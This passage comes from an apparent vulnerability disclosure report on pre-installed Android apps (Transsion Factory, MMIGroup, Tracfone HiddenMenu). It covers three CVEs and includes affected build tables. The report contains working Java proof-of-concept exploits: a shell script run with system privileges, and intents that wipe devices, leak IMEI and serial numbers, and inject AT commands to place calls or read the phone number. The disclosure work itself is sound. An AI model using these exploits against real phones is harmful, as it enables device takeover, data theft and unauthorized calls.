BLU/B131DL/B130DL:11/RP1A.200720.011/1647856638:user/release-keys	9020801	9.0208.01	Mon Mar 21 18:20:35 CST 2022	9bd13da4a73cfad68959a8e17b44805109062044a00abef361ebeb2ffba7c790

Table 4. List of vulnerable builds for the Tracfone BLU View 2 device.

In addition to the Tracfone BLU View 2 device, a vulnerable version of the "com.evenwell.fqc" app was also pre-installed on the following software builds of the Verizon Sharp Rouvo V device shown in Table 5. The pre-installed "com.evenwell.fqc" app, on all the software builds we examined for the device, has a file path of "/system/app/FQC/FQC.apk".

Build Fingerprint	Version Code	Version Name	Build Date	SHA-256
SHARP/VZW_STTM21VAPP/STTM21VAPP:12/SP1A.210812.016/1KN0_0_530:user/release-keys	9021203	9.0212.03	Thu Sep 8 14:54:41 CST 2022	6b81d1647482bd9b72d6585fcb5db4e656f1ad169405ca2d09020bf52cac243d
SHARP/VZW_STTM21VAPP/STTM21VAPP:12/SP1A.210812.016/1KN0_0_460:user/release-keys	9020913	9.0209.13	Fri Jun 24 16:50:02 CST 2022	ae2a6a38f66ad3f020abd82ccfc7c7f8c432b6d8da04ecac7e1f7d02f1da2192

Table 5. List of vulnerable builds for the Verizon Sharp Rouvo V device.

3. Transsion Factory App

3.1. Vulnerability Description

This local privilege escalation vulnerability allows arbitrary command execution in the context of a "system" user app occuring in the unlocked Itel Vision 3 Turbo device that has a build fingerprint of "Itel/F6321/itel-S661LP:11/RP1A.201005.001/GL-V92-20230105:user/release-keys" which is present in a pre-installed app with the following app identity.
Package name: com.transsion.autotest.factory
Path: /system/app/Factory/Factory.apk
Version name: 1.8.0(220310_1027)
Version code: 7
CVE: CVE-2023-38294
SHA-256 message digest: 9e2f4f6255e97a64efdc46661cba5525aae6d83251f65ac1b946f3866855e679
User ID (UID): system
The "com.transsion.autotest.factory" app contains a vulnerability that allows zero-permission, third-party apps to execute arbitrary shell scripts in its context as the "system" user. A third-party app can write a shell script containing arbitrary commands to its own scoped storage directory on external storage and make the "com.transsion.autotest.factory" app execute the provided shell script with its "system" privileges. The "com.transsion.autotest.factory" app can read the shell script the PoC attack app creates on its app-specific, scoped storage directory. The "system" user is privileged which allows the PoC app exploiting the vulnerability to programmatically obtain sensitive capabilities such as obtaining the user's text messages, call log, and contacts; granting permissions to apps; video recording the screen; reading the system logs that contain sensitive user data; wiping the device; and much more. Tecno handles critical vulnerabilities on a case-by-base basis for Itel as it has the same parent company named Transsion. Tecno acknowledged our work in uncovering this vulnerability in a blog post on their website.[16]
The "com.transsion.autotest.factory/.broadcast.CommandReceiver" receiver component in the "com.transsion.autotest.factory" app is explicitly exported, allowing third-party apps to directly interact with it using "Intent" messages. After the PoC app creates a shell script in its scoped storage directory and makes it accessible via modifying the file permissions of the shell script and the directory that contains it, it creates a second file in its scoped storage directory that simply executes the shell script using the command "sh <file path>". We use this file to simply execute our own shell script using the "sh <file path>" command since the "java.lang.Process java.lang.Runtime.exec(java.lang.String)" API does not have a shell environment by default where the actual command execution is ultimately executed in the "void com.transsion.autotest.factory.service.MonkeyBackgroundService.runMonkeyCommand()" method. So for convenience, we create two files where one is the target shell script and the other simply executes the script in a shell environment, instead of executing a single command.
The path to the file whose only command is to execute the shell script is put into a "Intent" message and sent to the "com.transsion.autotest.factory/.broadcast.CommandReceiver" receiver component with an action of "transsion.autotest.command" and a few required "Intent" extras, which are shown in the source code snippet in the following subsection. The path that we provide to this component needs to have a file name of "run_script_file.txt". The "com.transsion.autotest.factory/.broadcast.CommandReceiver" receiver component will obtain the command to execute from the "Intent" which are read from the "<arbitrary path>/run_script_file.txt" file and the write them to shared preferences, where it will then start the "com.transsion.autotest.factory/.service.Monkey-

BackgroundService" service component, which is not exported, and read the command to execute via shared preferences. The command it executes is simply to start the shell script that has arbitrary commands of our choosing which are executed in the context of the "com.transsion.autotest.factory" app that executes as the "system" user. Executing this code will cause the "com.transsion.autotest.factory" app to create some notifications.

3.2. Exploitation Workflow

This subsection provides the general workflow to successfully exploit the local arbitrary command execution as the "system" user vulnerability. The entire Java PoC source code is provided at the end of this subsection. The PoC attack app does not need to request any permissions to exploit the vulnerability, although one permission is requested in the reproduction steps to show that the vulnerability can be exploited by the PoC app to programmatically grant itself a permission that would normally require user interaction. The reproduction steps for exploiting this vulnerability are as follows:

1. Request the "android.permission.READ_SMS" permission in the PoC app's "AndroidManifest.xml" file by adding the single line shown below. This permission is not necessary to exploit the vulnerability, but it is needed to simply demonstrate an exploitation use case of programmatic permission granting. The example shell script will programmatically grant the PoC app the "android.permission.READ_SMS" permission, which normally requires that the user explicitly grant the permission to the PoC app via a GUI dialog.

```
<uses-permission android:name="android.permission.READ_SMS" />
```

2. Add/remove/modify the command strings being written to the shell script using the "fileWriter" variable (e.g., "fileWriter.write("id > /sdcard/random/id.txt\n");"). These lines form a shell script that the "com.transsion.autotest.factory" app executes with "system" privileges.

3. Execute the code snippet provided below in the PoC app.

4. Wait 10 seconds while the screen recording is ongoing.

5. Pull the screen recording by using the ADB command: "adb shell pull /sdcard/Android/data/<PoC app package name>/ten.mp4". This file is accessible to the PoC app itself as the file permissions of the recording file and PoC app's scoped storage directory have been modified.

6. The other files that were created by executing the shell script (as it is below) can be viewed using the "adb shell ls -al /sdcard/Android/data/<PoC app package name>" ADB command.

Code Snippet:

```
File externalBaseDir = getExternalFilesDir(null).getParentFile();
externalBaseDir.setExecutable(true, false);
externalBaseDir.setReadable(true, false);
externalBaseDir.setWritable(true, false);
```

```
File scriptFile = new File(externalBaseDir, "comm_exec.sh");
if (scriptFile.exists())
  scriptFile.delete();

try (FileWriter fileWriter = new FileWriter(scriptFile)) {
  // write arbitrary commands to execute as the 'system' user
  fileWriter.write("#!/system/bin/sh\n");
  fileWriter.write("mkdir /sdcard/random\n");
  fileWriter.write("id > /sdcard/random/id.txt\n");
  fileWriter.write("touch /sdcard/random/dont_tell.txt\n");
  fileWriter.write("/system/bin/screenrecord --time-limit 10 /sdcard/random/ten.mp4\n");
  fileWriter.write("pm grant " + getPackageName() + " android.permission.READ_SMS\n");
  fileWriter.write("ls -al " + externalBaseDir.getPath() + " &> /sdcard/access.txt\n");

fileWriter.write("cp -r /sdcard/random/* " + externalBaseDir.getPath() + "\n");
  fileWriter.write("chmod 777 -R " + externalBaseDir.getPath() + "\n");
  fileWriter.write("rm -r /sdcard/random\n");
}
scriptFile.setReadable(true, false);
scriptFile.setExecutable(true, false);

File runScriptFile = new File(externalBaseDir, "run_script_file.txt");
if (runScriptFile.exists())
  runScriptFile.delete();

try (FileWriter fileWriter = new FileWriter(runScriptFile)) {
  fileWriter.write("sh " + scriptFile.getPath());
} catch (Exception e) {Log.e(TAG, "error", e);}

runScriptFile.setReadable(true, false);
runScriptFile.setExecutable(true, false);

Intent intent = new Intent("transsion.autotest.command");
intent.setClassName("com.transsion.autotest.factory", "com.transsion.autotest.factory.broadcast.CommandReceiver");
intent.putExtra("monkey", "2");
intent.putExtra("cmdfile", runScriptFile.getPath());
intent.putStringArrayListExtra("package", new ArrayList<String>());
sendBroadcast(intent);
```

3.3. Exploitation Use Cases

The exploitation use cases are the same as those provided in subsection 2.3 as the vulnerability is similar, arbitrary command execution in the context of a "system" user app, although it manifests within a different app. The previously mentioned use cases provided in Appendix A also apply here, where only the shell commands are provided. In addition, the "pm disable com.transsion.autotest.factory" command can be used to have the vulnerable app disable itself in order to prevent the vulnerability from being exploited.

3.4. Impacted Device

The vulnerable software builds of the Itel Vision 3 Turbo device are provided in Table 6.

Build Fingerprint	Version Code	Version Name	Build Date	SHA-256
Itel/F6321/itel-S661LP:11/RP1A.201005.001/GL-V92-20230105:user/release-keys	7	1.8.0(220310_1027)	Thu Jan 5 14:50:55 CST 2023	9e2f4f6255e97a64efdc46661cba5525aae6d83251f65ac1b946f3866855e679
Itel/F6321/itel-S661LP:11/RP1A.201005.001/GL-V86-20221118:user/release-keys	7	1.8.0(220310_1027)	Fri Nov 18 17:41:20 CST 2022	9e2f4f6255e97a64efdc46661cba5525aae6d83251f65ac1b946f3866855e679
Itel/F6321/itel-S661LP:11/RP1A.201005.001/GL-V78-20221101:user/release-keys	7	1.8.0(220310_1027)	Tue Nov 1 14:58:11 CST 2022	9e2f4f6255e97a64efdc46661cba5525aae6d83251f65ac1b946f3866855e679
Itel/F6321/itel-S661LP:11/RP1A.201005.001/GL-V64-20220803:user/release-keys	7	1.8.0(220310_1027)	Wed Aug 3 11:10:11 CST 2022	9e2f4f6255e97a64efdc46661cba5525aae6d83251f65ac1b946f3866855e679
Itel/F6321/itel-S661LP:11/RP1A.201005.001/GL-V61-20220721:user/release-keys	7	1.8.0(220310_1027)	Thu Jul 21 22:23:35 WIB 2022	9e2f4f6255e97a64efdc46661cba5525aae6d83251f65ac1b946f3866855e679
Itel/F6321/itel-S661LP:11/RP1A.201005.001/GL-V58-20220712:user/release-keys	7	1.8.0(220310_1027)	Tue Jul 12 21:36:12 CST 2022	9e2f4f6255e97a64efdc46661cba5525aae6d83251f65ac1b946f3866855e679
Itel/F6321/itel-S661LP:11/RP1A.201005.001/GL-V051-20220613:user/release-keys	7	1.8.0(220310_1027)	Mon Jun 13 16:46:20 CST 2022	9e2f4f6255e97a64efdc46661cba5525aae6d83251f65ac1b946f3866855e679

Table 6. List of vulnerable builds for the unlocked Itel Vision Turbo 3 device.

4. MMIGroup App

4.1. Vulnerability Description

The MMIGroup app is a pre-installed app, which is present on various Android vendors devices, that exposes numerous capabilities to zero-permission, third-party apps, such as programmatically performing a factory reset and leaking non-resettable device identifiers, with the following app identity.

Package name: com.factory.mmigroup
Path: /system/app/MMIGroup/MMIGroup.apk
Version name: 2.1
Version code: 3
CVE: CVE-2023-38297
UID: system

The "system" UID provides the "com.factory.mmigroup" pre-installed app with various privileged capabilities, although the exact capabilities exposed vary depending on the device (and also the chipset). Some examples of the privileged capabilities exposed by the "com.factory.mmigroup" app are provided after the reproduction steps in this paper. The "com.factory.mmigroup" app contains a class that executes prior to any other class in the app to perform initialization routines when the app starts. This is a standard mechanism provided by Android that can be used by app developers by populating the "android:name" attribute in the "application" element in the apps' "AndroidManifest.xml" file with a fully-qualified class name that extends the "android.app.Application" class.[17]

Specifically, the "com.factory.mmigroup" app uses the "com.factory.mmigroup.MMIGroupApplication" class as the value to the "android:name" attribute in the "application" element in its manifest file. So when the "com.factory.mmigroup" app is not running and any of the app components of the "com.factory.mmigroup" app are to be started, the "void com.factory.mmigroup.MMIGroupApplication.onCreate()" callback method executes prior to the app component that will be started. The "com.factory.mmigroup" app does start at startup but it quickly gets terminated since the "persist.sys.factory.notkillself" system property is set to a default value of "false". The "com.factory.mmigroup" app has an exported receiver component that can be started by third-party apps to trigger the app's initialization routines at will.

The "void com.factory.mmigroup.MMIGroupApplication.onCreate()" callback method executes various threads where one of the threads invokes the "void com.factory.mmigroup.ata.AtaAdb.initAtaAdb()" method which dynamically registers a receiver component for various actions (e.g., "action.adb.ata.ctrl", "action.adb.ata.power", "action.adb.ata.query", etc.). These actions that the "com.factory.mmigroup" app registers for are not "protected broadcasts" and the dynamic receiver component is not protected with an access permission, so third-party apps can broadcast the actions for which the "com.factory.mmigroup" app registers.[18] By sending broadcast "Intent" messages containing these actions, this allows a third-party app with no permissions to indirectly perform various sensitive actions using this receiver component in the "com.factory.mmigroup" app without undergoing any authentication or authorization.

There are various actions that a third-party app can broadcast to the "com.factory.mmigroup" app which can be used to obtain sensitive information and perform capabilities for which it does not have the appropriate credentials to perform itself. Notably, the "action.adb.ata.power" action can be sent in a broadcast "Intent" message with a specially-crafted payload by a third-party app that allows it to execute arbitrary AT commands, although this does require the device to have a MediaTek chipset. The "com.factory.mmigroup" app checks for the MediaTek chipset by reading the "ro.boot.hardware" system property and checking to see if the corresponding value contains "mt". Interestingly, the Realme C25Y device, with a build fingerprint of "realme/R-

MX3269/RED8F6:11/RP1A.201005.001/1675861640000:user/release-keys", has a T618-Unisoc chipset with a "ro.boot.hardware" system property of "RMX3265", which prevents the execution of arbitrary AT commands based on the "com.factory.mmigroup" app logic.

AT commands encapsulate actions that are performed and executed by the device's modem such as sending text messages, making phone calls (including emergency numbers), obtaining device identifiers, executing arbitrary Unstructured Supplementary Service Data (USSD) codes, restarting the modem, answering phone calls, terminating phone calls, invoking custom OEM commands, and much more. Conveniently, the "com.factory.mmigroup" app writes the output of the AT commands it executes to the "persist.sys.ata_adb.result" system property, although the output is limited to 91 characters which is a restriction that the Android OS imposes. The interaction between a third-party app exploiting the vulnerability in the "com.factory.mmigroup" app can be performed in the background using a foreground service in a third-party app. The exploitation workflow does not require starting any activity components in the "com.factory.mmigroup" app. The receiver component that the "com.factory.mmigroup" app dynamically registers for various actions will remain active until the "com.factory.mmigroup" app crashes or the device is rebooted.

4.2. Exploitation Workflow

This subsection provides the general workflow to successfully exploit a vulnerability that is present in the pre-installed "com.factory.mmigroup" app to obtain the device IMEI without requiring any permissions. Additional use cases are provided afterwards, including performing a factory reset and executing arbitrary AT commands. The Java source code is provided to build a PoC attack app, as well as the equivalent ADB commands where applicable. The reproduction steps for exploiting the vulnerability are as follows:

1. Declare a service component (e.g., <service android:name=".MMIGroupExploitService" android:exported="false" />) and a launcher activity component (you can use the default "MainActivity" class) in the PoC app's "AndroidManifest.xml" file. In the PoC app's manifest file, request the foreground permission by using the following permission declaration: "<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />". The foreground service permission is not strictly necessary, although it allows for exploitation of the vulnerabilities to occur in the background, instead of using a foreground activity component. Alternatively, a receiver component that registers for the "android.intent.action.BOOT_COMPLETED" action (which also requires the PoC app to request the "android.permission.RECEIVE_BOOT_COMPLETED" permission) can be used to start at boot time in order to start the service component in the PoC app to remain completely in the background other than the notification that the Android OS requires foreground services to create
2. From a foreground activity component in the PoC app, send an "Intent" message to the "com.factory.mmigroup/.MMIGroupReceiver" receiver component, using the code snippet below, which starts the "com.factory.mmigroup" app and also causes it to execute the "void com.factory.mmigroup.MMIGroupApplication.onCreate()" callback method method prior to starting the "com.factory.mmigroup/.MMIGroupReceiver" receiver component. The "void com.factory.mmigroup.MMIGroupApplication.onCreate()" callback method causes the "com.factory.mmigroup" app to dynamically register for the following broadcast actions: "action.adb.ata.exit", "action.adb.ata.stop", "action.adb.ata.mode", "action.adb.ata.query", "action.adb.ata.clear", "action.adb.ata.power", "action.adb.ata.runcase", "action.adb.ata.ctrl", "com.mmi.helper.request", and "action.adb.ata.mifunctiontest". Alternatively, the ADB command of "adb shell am broadcast -n com.factory.mmigroup/.MMIGroupReceiver -a com.sec.atd.jdm_at_activation_request" can be used to start the receiver component named "com.factory.mmigroup/.MMIGroupReceiver".

```
Intent start_process_intent = new Intent("com.sec.atd.jdm_at_activation_request");
```

```
start_process_intent.setClassName("com.factory.mmigroup", "com.factory.mmigroup.MMIGroupReceiver");
sendBroadcast(start_process_intent);
```

3. From the foreground activity in the PoC app, start a foreground service component in the PoC app using the following code snippet provided below (where the service component is named "MMIGroupExploitService" in this example). The complete source code for this service component is provided in Appendix B. Alternatively, use the "adb shell am start-foreground-service -n <PoC package name>/.MMIGroupExploitService" ADB command.

```
Intent intent = new Intent(this, MMIGroupExploitService.class);
startForegroundService(intent);
```

4. Since the PoC app is starting a foreground service, it needs to post a notification with the system within 5 seconds of the foreground service starting. This can be accomplished by invoking the "void startForeground()" method from the service component's "void onCreate()" lifecycle method in the PoC app. The source code provided in Appendix B contains the source code for the "void startForeground()" method.

5. The PoC app can now interact with the "com.factory.mmigroup" app by sending it broadcast "Intent" messages that cause it to perform various actions that the app handles. Execute the following code snippet below which causes the "com.factory.mmigroup" app to obtain the device IMEI and write it to the "persist.sys.ata_adb.result" system property. The code snippet executes the "getprop persist.sys.ata_adb.result" command to obtain the device IMEI which it then writes to the system log with a log tag of "imei_value".

```
Intent action_intent = new Intent("action.adb.ata.query");
action_intent.putExtra("query", "imei1");
sendBroadcast(action_intent);

Thread.sleep(2000);

Process process = Runtime.getRuntime().exec(new String[]{"getprop", "persist.sys.ata_adb.result"});
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line = null;
while ((line = bufferedReader.readLine()) != null) {
  stringBuilder.append(line);
}
String imei_value = stringBuilder.toString();
Log.d("imei_value", imei_value);
.
```

This is an example of a capability where a third-party app obtains the device IMEI, which a third-party app cannot obtain directly through the standard public APIs since Android 10 due to privacy restrictions imposed by Google.[19] After completing step 4, the PoC app can send additional broadcast "Intent" messages to have the "com.factory.mmigroup" app receive and process them. When exploiting the vulnerability, certain log messages emitted by the "com.factory.mmigroup" app can be observed using the following ADB command: "adb shell logcat -b all | grep 'MMIGroup AtaAdb'". When performing various actions (that do not involve querying for information) using the "com.factory.mmigroup" app, it will write "pass" or "fail" to the "persist.sys.ata_adb.result" system property indicating whether the requested action was performed successfully or unsuccessfully, respectively.

4.3. Exploitation Use Cases

For brevity, the source code examples provided in this subsection assume that reproduction steps 1 through 4 have already been completed so that broadcast "Intent" messages can be directly sent by a third-party app to the "com.factory.mmigroup" app. Reproduction steps 1 through 4 only need to be performed once and then multiple "Intent" messages can be sent to the receiver component that the "com.factory.mmigroup" app dynamically registers. Therefore, only the source code snippets to send the broadcast "Intent" messages will be provided, which correspond to reproduction step 5 that can perform a variety of actions. Not all the use cases are equally applicable to all devices, the breakdown is provided in the next subsection.

Execute Arbitrary AT Commands

The source code template to send an arbitrary AT command for execution is provided below where the "<AT command>" string should be replaced with an arbitrary AT command that the modem supports.[20] The "action.adb.ata.power" action in the broadcast "Intent" needs to have a string extra with a key name of "power" where its value is appended to and executed in the "AT+power=" AT command (i.e., "AT+power=<"power" string extra>"). All of the devices we examined (that have this app pre-installed) do not support the "AT+power" AT command, although we can use the backspace character (Unicode value of "\u0008" and also the "\b" escape sequence) 9 times to remove "AT+power=" string prefix and inject our own arbitrary AT command to be executed by the device's modem.

```
Intent action_intent = new Intent("action.adb.ata.power");
action_intent.putExtra("power","\u0008\u0008\u0008\u0008\u0008\u0008\u0008\u0008\
u0008<AT command>");
sendBroadcast(action_intent);
```

For example, to get the phone number of the device, the "AT+CNUM" AT command can be used, as shown below. This requires that the device has a valid SIM card inserted. The "com.factory.mmigroup" app writes the output of executing the AT command to the "persist.sys.ata_adb.result" system property. An example output of reading the "persist.sys.ata_adb.result" system property after executing the source code snippet is: "+CNUM: "","17031234567",129,0,4\nOK".

```
Intent action_intent = new Intent("action.adb.ata.power");
action_intent.putExtra("power","\u0008\u0008\u0008\u0008\u0008\u0008\u0008\u0008\
u0008AT+CNUM");
sendBroadcast(action_intent);
```

```
Thread.sleep(2000);

Process process = Runtime.getRuntime().exec(new String[]{"getprop", "persist.sys.ata_adb.result"});

StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line = null;
while ((line = bufferedReader.readLine()) != null) {
  stringBuilder.append(line);
}
String at_command_return = stringBuilder.toString();
Log.d(TAG, at_command_return);
```

There are various AT commands that can be executed that programmatically call arbitrary phone numbers ("ATD<phone number>;"), send text messages ("AT+CMGS..."), get the connected telephone base station identity ("AT+CREG?") which can be used as a proxy for the device's physical location, and much more.

Wipe the Device (Programmatic Factory Reset)

```
Intent action_intent = new Intent("action.adb.ata.ctrl");
action_intent.putExtra("ctrl", "recovery_wipe_data");
sendBroadcast(action_intent);
```

Access Serial Number (Then read the "persist.sys.ata_adb.result" system property)

```
Intent action_intent = new Intent("action.adb.ata.ctrl");
action_intent.putExtra("query", "emmcid");
sendBroadcast(action_intent);
```

Power Off the Device

```
Intent action_intent = new Intent("action.adb.ata.ctrl");
action_intent.putExtra("ctrl", "power,poweroff");
sendBroadcast(action_intent);
```

Reboot the Device

```
Intent action_intent = new Intent("action.adb.ata.ctrl");
action_intent.putExtra("ctrl", "power,reboot");
sendBroadcast(action_intent);
```

Enable Airplane Mode

```
Intent action_intent = new Intent("action.adb.ata.ctrl");
action_intent.putExtra("ctrl", "airplane,open");
sendBroadcast(action_intent);
```

Disable Airplane Mode

```
Intent action_intent = new Intent("action.adb.ata.ctrl");
action_intent.putExtra("ctrl", "airplane,close");
sendBroadcast(action_intent);
```

Enable GPS, WiFi, & Bluetooth

```
Intent action_intent = new Intent("action.adb.ata.ctrl");
action_intent.putExtra("ctrl", "wcn_enable_all");
sendBroadcast(action_intent);
```

4.4. Impacted Devices

The exact capabilities exposed by the "com.factory.mmigroup" app depend on the device it is pre-installed on. Table 7 shows the corresponding capabilities that were exposed on each device, where an "X" indicates that the capability is present and can be exploited on the specific device. The device build fingerprints and SHA-256 digests of the "com.factory.mmigroup" app for each vulnerable software build from the impacted devices in Table 7 are provided in Appendix C. On all of the software builds of all the different devices we examined, the "com.factory.mmigroup" app has a file path of "/system/app/MMIGroup/MMIGroup.apk".

Capability	T-Mobile Revvl 6 Pro 5G	T-Mobile Revvl V+ 5G	Boost Mobile Celero 5G	Tracfone Samsung Galaxy A03S	Unlocked Realme C25Y
Factory Reset	X	X	X	X	X
Leak IMEI	X	X	X	X	X
Leak Serial Number	X	X	X	X	X
Arbitrary AT Command Execution	X	X	X		
Enable Wireless Adapters	X	X	X	X	X

Table 7. List of capabilities that the "com.factory.mmigroup" app exposes by device.

5. Tracfone HiddenMenu App

The pre-installed "com.tracfone.tfstatus" app contains a vulnerability that can be exploited by local third-party apps (even those with zero-permissions) and does not require any user interaction (beyond installing and running an app) in order to programmatically execute arbitrary AT commands.

5. 1. Vulnerability Description

The local privilege escalation vulnerability present in the Tracfone Nokia C100 and Tracfone Nokia C200 devices is caused by a pre-installed app with the following app identity.
Package name: com.tracfone.tfstatus
Path: /system/priv-app/HiddenMenu/HiddenMenu.apk
Version name: 12
Version code: 31
CVE: CVE-2023-38293
SHA-256 (Nokia 100): c49c160730af9ddc808a6ad42a916991f1b59422dc841c1ba7582aa9d3076d0a
SHA-256 (Nokia 200): 283efbae7b796fbf191d8e00582a59e9ef8cca681cdbf261d187fafa502f7a4b
UID: radio

The "com.tracfone.tfstatus" app is functionally equivalent on the two Tracfone Nokia devices, with respect to the vulnerability, although the SHA-256 message digest for the two apps differ. The vulnerable app appears to be developed by Tracfone and may exist on other Tracfone devices, although we have only observed it on these two devices. The "radio" UID (the same one that "com.android.phone" app uses) provides the "com.tracfone.tfstatus" app with various privileged capabilities, including the ability to interact with the modem using AT commands. Third-party apps cannot directly send AT commands to the modem, although in this case, the capability to execute arbitrary AT commands is indirectly exposed to third-party apps through an exported receiver component in the the "com.tracfone.tfstatus" app.

Specifically, the "com.tracfone.tfstatus/.TFStatus" receiver component is explicitly exported in the app’s "AndroidManifest.xml" file. Since this receiver component is exported, third-party apps can interact with it by sending "Intent" messages to it. The "com.tracfone.tfstatus/.TFStatus" receiver component extracts the "password" string extra from the "Intent" messages it receives and then puts the "password" string extra value into a different "Intent" message, using the same key name of "password", and then sends the "Intent" to start the "com.tracfone.tfstatus/.TFStatusActivity" activity component. The "com.tracfone.tfstatus/.TFStatusActivity" activity component is also explicitly exported, allowing third-party apps to start it directly, although there are some restrictions on third-party apps starting activity components in other apps from foreground services running in the background, where these same restriction does not exist for foreground services sending "Intent" messages to receiver components in other apps.

Successfully sending an "Intent" message to the "com.tracfone.tfstatus/.TFStatusActivity" activity component requires the user to be actively using the third-party app (i.e., it has an activity component in the foreground) or it needs to fulfill another exemption. There are no such restrictions on a third-party app sending a broadcast "Intent" message to the "com.tracfone.tfstatus/.TFStatus" receiver component with regard to having a foreground activity component, so this option would likely be preferred from the perspective of an attacker that desires stealth and wants to minimize user interaction.

When the "com.tracfone.tfstatus/.TFStatusActivity" activity component receives an "Intent", it extracts the "password" string extra value from the "Intent" and then sets it as the value to the "mTfStatusPwd" instance field in the "com.tracfone.tfstatus.TFStatusActivity" class. Next, it creates an instance of the "com.tracfone.tfstatus.TFStatusActivity$LockStatusTask" class and starts it as a thread after a delay of 10 seconds. The "com.tracfone.tfstatus.TFStatusActivity$LockStatusTask" class requests for the "AT+ETFSTUI?" AT command to be executed and then parses out the integer after the first comma in the AT command response (e.g. "+ETFSTUI: 0,15") and puts this integer value into an "android.os.Bundle" object with a key value of "com.mediatek.phone.ERROR_-COUNT". In the same "Bundle" object, it puts an integer value of "0" for the value to the "com.mediatek.phone.QUERY_STATUS_LOCK" key.

The "Bundle" object is put into an "android.os.Message" object with a "what" value of "0" that is sent to an anonymous class within the "com.tracfone.tfstatus.TFStatusActivity" class. The anonymous class processes the "android.os.Message" object from which it extracts the "Bundle" object and gets the integer value from the "com.mediatek.phone.ERROR_COUNT" key. It then gets the instance integer field named "mErrorCounter" from the "com.tracfone.tfstatus.TFStatusActivity" class. When the value of "mErrorCounter" is equal to "0" (its initial value), it sets its value to the value of the "com.mediatek.phone.ERROR_COUNT" key. It then gets the "com.mediatek.phone.-QUERY_STATUS_LOCK" integer value to check to see if this integer value is equal to "0" (which it always will based on the app logic) and then gets the "password" from the "Intent" message and passes it as a string parameter to the "com.tracfone.tfstatus.TFStatusActivity$VerifyStatusLockTask" constructor and then starts an instance of this class as a thread.

The "void com.tracfone.tfstatus.TFStatusActivity$VerifyStatusLockTask.run()" method takes the "password" string extra, the value the attacker controls from the "Intent" message, and appends it to the "AT+ETFSTUI=" hard-coded string to form a combined string (e.g., "AT+ETFSTUI=<attacker-controlled string>"). The bytes of this combined string are passed as a byte array as the first parameter to the "int com.mediatek.internal.telephony.IMtkTelephonyEx.invokeOemRilRequestRaw(byte[], byte[])" API. This is the exact code point where the arbitrary AT command injection occurs, as the "int com.mediatek.internal.telephony.IMtkTelephonyEx.invokeOemRilRequestRaw(byte[], byte[])" API is used to send raw Radio Interface Layer (RIL) requests to the modem. This occurs on source line 179 in the "void com.tracfone.tfstatus.TFStatusActivity$VerifyStatusLockTask.run()" method in the "com.tracfone.tfstatus.TFStatusActivity$VerifyStatusLockTask" class. The "int com.mediatek.internal.telephony.IMtkTelephonyEx.invokeOemRilRequestRaw(byte[], byte[])" method is a vendor-specific API for sending "RIL_REQUEST_OEM_HOOK_RAW" requests to the modem. [21] These requests are reserved for OEM-specific purposes, but they can be used to execute AT commands.

There are two approaches we have successfully used with regard to injecting an attacker-controlled AT command into a string that already contains a partial or whole AT command. In this case, the "AT+ETFSTUI=" string can be removed by appending 11 backspace characters (Unicode value of "\u0008" and also the "\b" Java escape sequence) to inject our own arbitrary AT command(s) to be executed by the device’s modem (e.g., "AT+ETFSTUI=\b\b\b\b\b\b\b\b\b\b\b<AT command(s)>"). Alternatively, we can turn the "AT+ETFSTUI=" AT command into a test command and inject our own AT command by adding "?\r<AT command(s)>" (e.g., "AT+ETFSTUI=?\rATD+18005551234;") using the "password" from the "Intent" message, where the Java carriage return escape sequence ("\r") is needed to delimit the AT commands.

If the device does not have a SIM card, then the device may need to be rebooted or the "com.tracfone.tfstatus" app (executing in the context of the "com.android.phone" app) may need to be forced to crashed in order to execute a second AT command after a first AT command has been executed. A crash of the "com.tracfone.tfstatus" app can be induced by sending an "Intent" message to the "com.tracfone.tfstatus/com.tracfone.activities.TFStatusMenuActivity" activity component in the "com.tracfone.tfstatus" app where the "Intent" contains no extras (i.e., no key/value pairs). This is not the case when a SIM card is inserted, as there is no restriction and an app crash does not need to be induced. The AT command may be executed several times in succession based on the app logic of the "com.tracfone.tfstatus" app when no SIM is present..

The interaction between a third-party app exploiting the vulnerability in the "com.tracfone.tfstatus" app can be performed in the background using a foreground service in a third-party app. The exploitation workflow does not require starting any activity components in the "com.tracfone.tfstatus" app directly, although the "com.tracfone.tfstatus/.TFStatus" receiver component in the "com.tracfone.tfstatus" app starts its own "com.tracfone.tfstatus/.TFStatusActivity" activity component which comes into the foreground when it is executing AT command(s). The "com.tracfone.tfstatus/.TFStatusActivity" activity component removes itself from the foreground after it executes the AT command(s) and returns to the previous activity that was in the foreground.

5. 2. Exploitation Workflow

This subsection provides the general workflow to successfully exploit a vulnerability that is present in the pre-installed "com.tracfone.tfstatus" app to programmatically make a phone call. This requires that the device has a valid SIM card. Additional use cases are provided afterwards. The Java source code is included to develop a PoC attack app, as well as the equivalent ADB commands where applicable. When performing the reproduction steps below, you should give the device at least a minute or two after turning on the device to allow it to perform its initialization routines, as the Tracfone Nokia C100 and Tracfone Nokia C200 devices are somewhat resource constrained.
The reproduction steps for exploiting the vulnerability are as follows:

1. Declare a service component (e.g., <service android:name=".ATCommService" android:exported="false" />) and a launcher activity component (you can use the default "MainActivity" class) in the app’s "AndroidManifest.xml" file. In the app’s manifest file, request the foreground permission by using the following permission declaration: "<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />". The foreground service permission is not strictly necessary.
2. From the foreground activity in the PoC app, start a foreground service component in the PoC app using the following code snippet provided below (where the service component is named "ATCommService" in this example). Alternatively, use the "adb shell am start-foreground-service -n <PoC package name>/.ATCommService" ADB command.

```
Intent intent = new Intent(this, ATCommService.class);
startForegroundService(intent);
```

3. Since we are starting a foreground service, we need to create a notification within 5 seconds of the service starting. This can be accomplished by invoking the "void startForeground()" method from the service component’s "void onCreate()" lifecycle method in the PoC app.
4. The PoC app can interact with the "com.tracfone.tfstatus" app by sending it broadcast "Intent" messages to make it execute AT commands of its choosing. Execute the following code snippet below which causes the "com.tracfone.tfstatus" app to programmatically call a phone number of your choosing by executing the "ATD" AT command. A fictitious phone number of "+17035551234" is used. In addition, the emergency phone number of "911" can also be used with caution since the actual call does not show up in a foreground activity. Note that phone numbers need to be followed by a semicolon when used in the "ATD" AT command.

```
Intent intent = new Intent("com.tracfone.tfstatus.TFStatus");
intent.setClassName("com.tracfone.tfstatus", "com.tracfone.tfstatus.TFStatus");
intent.putExtra("password", "\b\b\b\b\b\b\b\b\b\b\bATD+17035551234;");
sendBroadcast(intent);
```

